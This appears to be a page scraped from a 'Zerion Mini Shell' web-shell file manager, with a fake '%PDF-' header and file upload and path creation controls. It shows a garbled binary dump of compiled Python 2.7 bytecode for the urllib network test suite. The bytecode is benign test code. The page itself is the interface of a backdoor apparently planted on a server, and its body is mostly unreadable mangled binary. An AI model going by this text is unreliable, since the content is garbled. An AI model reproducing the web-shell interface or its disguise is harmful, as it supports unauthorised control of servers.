%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/test/test_urllibnet.pyo

ó
Nêáac@sddlZddlmZddlmZddlZddlZddlZddlZddl	Z	yddl
Z
Wnek
r‘dZ
nXej
jeƒZej
jedƒZejddeƒZd„Zdejfd	„ƒYZd
ejfd„ƒYZdejfd
„ƒYZeje
dkdƒdejfd„ƒYƒZdejfd„ƒYZd„Zedkr‹eƒndS(iÿÿÿÿN(ttest_support(tskip_ftp_test_on_travissselfsigned_pythontestdotnet.pemt	mimetoolst
deprecatedcOsWxJtdƒD]<}y||||ŽSWq
tk
r?}q
q
‚q
Xq
W|‚dS(Ni(trangetIOError(tfuncthosttargstkwargstitlast_exc((s//usr/local/lib/python2.7/test/test_urllibnet.pyt_open_with_retrystURLTimeoutTestcBs)eZdZd„Zd„Zd„ZRS(g$@cCstj|jƒdS(N(tsockettsetdefaulttimeouttTIMEOUT(tself((s//usr/local/lib/python2.7/test/test_urllibnet.pytsetUp(scCstjdƒdS(N(RRtNone(R((s//usr/local/lib/python2.7/test/test_urllibnet.pyttearDown+scCs%ttjtjƒ}|jƒ}dS(N(RturllibturlopenRt
TEST_HTTP_URLtread(Rtftx((s//usr/local/lib/python2.7/test/test_urllibnet.pyttestURLread.s(t__name__t
__module__RRRR(((s//usr/local/lib/python2.7/test/test_urllibnet.pyR
$s		turlopenNetworkTestscBsŒeZdZd„Zd„Zd„Zd„Zd„Zd„Ze	j
ejd
kdƒe	j
eed	ƒd
ƒd„ƒƒZd„ZRS(s6Tests urllib.urlopen using the network.

    These tests are not exhaustive.  Assuming that testing using files does a
    good job overall of some of the basic interface features.  There are no
    tests exercising the optional 'data' and 'proxies' arguments.  No tests
    for transparent redirection have been written.

    setUp is not used for always constructing a connection to
    http://www.example.com/ since there a few tests that don't use that address
    and making a connection is expensive enough to warrant minimizing unneeded
    connections.

    cGsttj|ŒS(N(RRR(RR((s//usr/local/lib/python2.7/test/test_urllibnet.pyRAscCsl|jtjƒ}x+d
D]#}|jt||ƒd|ƒqWz|j|jƒd	ƒWd|jƒXdS(NRtreadlinet	readlinestfilenotclosetinfotgeturls3object returned from urlopen lacks the %s attributescalling 'read' failed(RRR R!R"R#R$(RRRt
assertTruethasattrRR"(Rtopen_urltattr((s//usr/local/lib/python2.7/test/test_urllibnet.pyt
test_basicDs
cCsZ|jtjƒ}z6|j|jƒtdƒ|j|jƒtdƒWd|jƒXdS(Ns readline did not return a stringsreadlines did not return a list(	RRRtassertIsInstanceRt
basestringR tlistR"(RR'((s//usr/local/lib/python2.7/test/test_urllibnet.pyttest_readlinesPscCs`|jtjƒ}z|jƒ}Wd|jƒ|j|tjdƒ|j|j	ƒdƒXdS(NsAobject returned by 'info' is not an instance of mimetools.Messagethtml(
RRRR#R"R*RtMessagetassertEqualt
getsubtype(RR'tinfo_obj((s//usr/local/lib/python2.7/test/test_urllibnet.pyt	test_info[s
cCsG|jtjƒ}z|jƒ}Wd|jƒX|j|tjƒdS(N(RRRR$R"R0(RR't
gotten_url((s//usr/local/lib/python2.7/test/test_urllibnet.pyttest_geturlgs
cCsMd}tjƒj|ƒ}z|jƒ}Wd|jƒX|j|dƒdS(Ns'http://www.pythontest.net/XXXinvalidXXXi”(RtFancyURLopenertopentgetcodeR"R0(RtURLR'tcode((s//usr/local/lib/python2.7/test/test_urllibnet.pyttest_getcodepstwin32snot appropriate for Windowstfdopensos.fdopen not availablecCsY|jtjƒ}|jƒ}tj|ƒ}z|j|jƒdƒWd|jƒXdS(Ns<reading from file created using fd returned by fileno failed(	RRRR!tosR=R%RR"(RR'tfdtFILE((s//usr/local/lib/python2.7/test/test_urllibnet.pyttest_filenozscCsYd}ytj|ƒWntjk
r-nX|jd|ƒ|jttjdƒdS(Nssadflkjsasf.i.nvali.ds&%r should not resolve for test to workshttp://sadflkjsasf.i.nvali.d/(Rt
gethostbynametgaierrortskipTesttassertRaisesRRR(Rtbogus_domain((s//usr/local/lib/python2.7/test/test_urllibnet.pyttest_bad_addressˆs	(R<(RRt__doc__RR)R-R3R5R;tunittesttskipIftsystplatformt
skipUnlessR&R>RARG(((s//usr/local/lib/python2.7/test/test_urllibnet.pyR2s
							
'
turlretrieveNetworkTestscBs;eZdZd„Zd„Zd„Zd„Zd„ZRS(s+Tests urllib.urlretrieve using the network.cGsttj|ŒS(N(RRturlretrieve(RR((s//usr/local/lib/python2.7/test/test_urllibnet.pyRO scCsy|jtjƒ\}}|jtjj|ƒdƒt|ƒ}z|j|jƒdƒWd|j	ƒtj
|ƒXdS(Ns9file location returned by urlretrieve is not a valid paths=reading from the file location returned by urlretrieve failed(RORRR%R>tpathtexiststfileRR"tunlink(Rt
file_locationR#R@((s//usr/local/lib/python2.7/test/test_urllibnet.pyR)£s
cCs|jtjtjƒ\}}|j|tjƒ|jtjj|ƒƒt	|ƒ}z|j|j
ƒdƒWd|jƒtj|ƒXdS(Ns"reading from temporary file failed(
RORRtTESTFNR0R%R>RPRQRRRR"RS(RRTR#R@((s//usr/local/lib/python2.7/test/test_urllibnet.pyttest_specified_path°s
cCs?|jtjƒ\}}tj|ƒ|j|tjdƒdS(Ns.header is not an instance of mimetools.Message(RORRR>RSR*RR/(RRTtheader((s//usr/local/lib/python2.7/test/test_urllibnet.pyttest_header½s
cCs|tj}|j|ƒ\}}tj|ƒ|jdƒ}d}ytj||ƒWn!tk
rw|j	d|ƒnXdS(NtDates%a, %d %b %Y %H:%M:%S GMTsDate value not in %r format(
RRROR>RSt	getheaderttimetstrptimet
ValueErrortfail(RtlogoRTtfileheaderst	datevaluet
dateformat((s//usr/local/lib/python2.7/test/test_urllibnet.pyttest_data_headerÄs	

(RRRHROR)RVRXRc(((s//usr/local/lib/python2.7/test/test_urllibnet.pyRNs		
	
	srequires sslturlopen_HttpsTestscBseZd„ZRS(cCsAtjdtƒ}tjdd|ƒ}|jd|jƒƒdS(Ntcafiles"https://self-signed.pythontest.nettcontexttPython(tssltcreate_default_contextt CERT_selfsigned_pythontestdotnetRRtassertInR(RRftresponse((s//usr/local/lib/python2.7/test/test_urllibnet.pyttest_context_argumentÓs(RRRm(((s//usr/local/lib/python2.7/test/test_urllibnet.pyRdÐsturlopen_FTPTestcBs2eZdZdZed„ƒZed„ƒZRS(sftp://www.pythontest.net/READMEicCs¥tj|jƒyaxZt|jƒD]I}tjƒ5}tjƒj|jt	j
j|t|ƒƒƒWdQXq&WWn$t
k
rš}|jd|ƒnXWdQXdS(NsSFailed FTP retrieve while accessing ftp url multiple times.
 Error message was : %s(Rttransient_internett
FTP_TEST_FILERtNUM_FTP_RETRIEVESttemp_dirRR6tretrieveR>RPtjointstrRR^(Rtfile_numttdte((s//usr/local/lib/python2.7/test/test_urllibnet.pyttest_multiple_ftp_retrievesÝs*	c	Csªtj|jƒ’g}zhy=x6t|jƒD]%}tj|jƒ}|j|ƒq/WWn$tk
r}|j	d|ƒnXWdx|D]}|j
ƒq‹WXWdQXdS(Ns2Failed FTP binary file open. Error message was: %s(RRoRpRRqRRtappendRR^R"(Rtftp_fds_to_closet_R?Rx((s//usr/local/lib/python2.7/test/test_urllibnet.pyt#test_multiple_ftp_urlopen_same_hostês	
(RRRpRqRRyR}(((s//usr/local/lib/python2.7/test/test_urllibnet.pyRnÙs
c
CsFtjdƒtjdtfƒtjttttt	ƒWdQXdS(Ntnetworks!urllib.urlopen.. has been removed(
Rtrequirestcheck_py3k_warningstDeprecationWarningtrun_unittestR
RRNRdRn(((s//usr/local/lib/python2.7/test/test_urllibnet.pyt	test_mainüs
	t__main__( RIttestRttest.test_urllib2netRRRRKR>R[RhtImportErrorRRPtdirnamet__file__thereRtRjt
import_moduletTrueRRtTestCaseR
RRNRJRdRnRƒR(((s//usr/local/lib/python2.7/test/test_urllibnet.pyt<module>s0

	
k3#	


Zerion Mini Shell 1.0